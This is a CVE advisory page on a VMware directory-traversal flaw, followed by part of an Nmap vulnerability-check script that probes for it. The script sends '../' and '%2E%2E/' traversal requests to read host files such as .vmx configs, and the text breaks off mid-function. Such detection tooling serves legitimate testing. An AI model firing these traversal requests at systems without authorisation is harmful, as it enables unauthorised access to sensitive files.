CVE-2009-3733 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/36842/info VMware products are prone to a directory-traversal vulnerability because they fail to sufficiently sanitize user-supplied input data. Exploiting the issue may allow an attacker to obtain sensitive information from the host operating system that could aid in further attacks. description = [[ Checks for a path-traversal vulnerability in VMWare ESX, ESXi, and Server (CVE-2009-3733), originally released by Justin Morehouse (justin.morehouse[at)gmail.com) and Tony Flick (tony.flick(at]fyrmassociates.com), and presented at Shmoocon 2010 (http://fyrmassociates.com/tools.html). ]] --- -- @usage -- nmap --script http-vmware-path-vuln -p80,443,8222,8333 <host> -- -- @output --| http-vmware-path-vuln: --| VMWare path traversal (CVE-2009-3733): VULNERABLE --| /vmware/Windows 2003/Windows 2003.vmx --| /vmware/Pentest/Pentest - Linux/Linux Pentest Bravo.vmx --| /vmware/Pentest/Pentest - Windows/Windows 2003.vmx --| /mnt/vmware/vmware/FreeBSD 7.2/FreeBSD 7.2.vmx --| /mnt/vmware/vmware/FreeBSD 8.0/FreeBSD 8.0.vmx --| /mnt/vmware/vmware/FreeBSD 8.0 64-bit/FreeBSD 8.0 64-bit.vmx --|_ /mnt/vmware/vmware/Slackware 13 32-bit/Slackware 13 32-bit.vmx ----------------------------------------------------------------------- author = "Ron Bowes" license = "Same as Nmap--See http://www.exampel.com/book/man-legal.html" categories = {"vuln", "safe", "default"} require "http" require "shortport" portrule = shortport.port_or_service({80, 443, 8222,8333}, {"http", "https"}) local function get_file(host, port, path) local file -- Replace spaces in the path with %20 path = string.gsub(path, " ", "%%20") -- Try both ../ and %2E%2E/ file = "/sdk/../../../../../../" .. path local result = http.get( host, port, file) if(result['status'] ~= 200 or result['content-length'] == 0) then file = "/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/" .. path result = http.get( host, port, file) if(result['status'] ~= 200 or result['content-length'] == 0) then return false, "Couldn't download file: " .. path end end return true, result.body, file end local function fake_xml_parse(str, tag) local result = {} local index, tag_start, tag_end -- Lowercase the 'body' we're searching local lc = string.lower(str) -- Lowrcase the tag tag = string.lower(tag) -- This loop does some ugly pattern-based xml parsing index, tag_start = string.find(lc, "<" .. tag ..
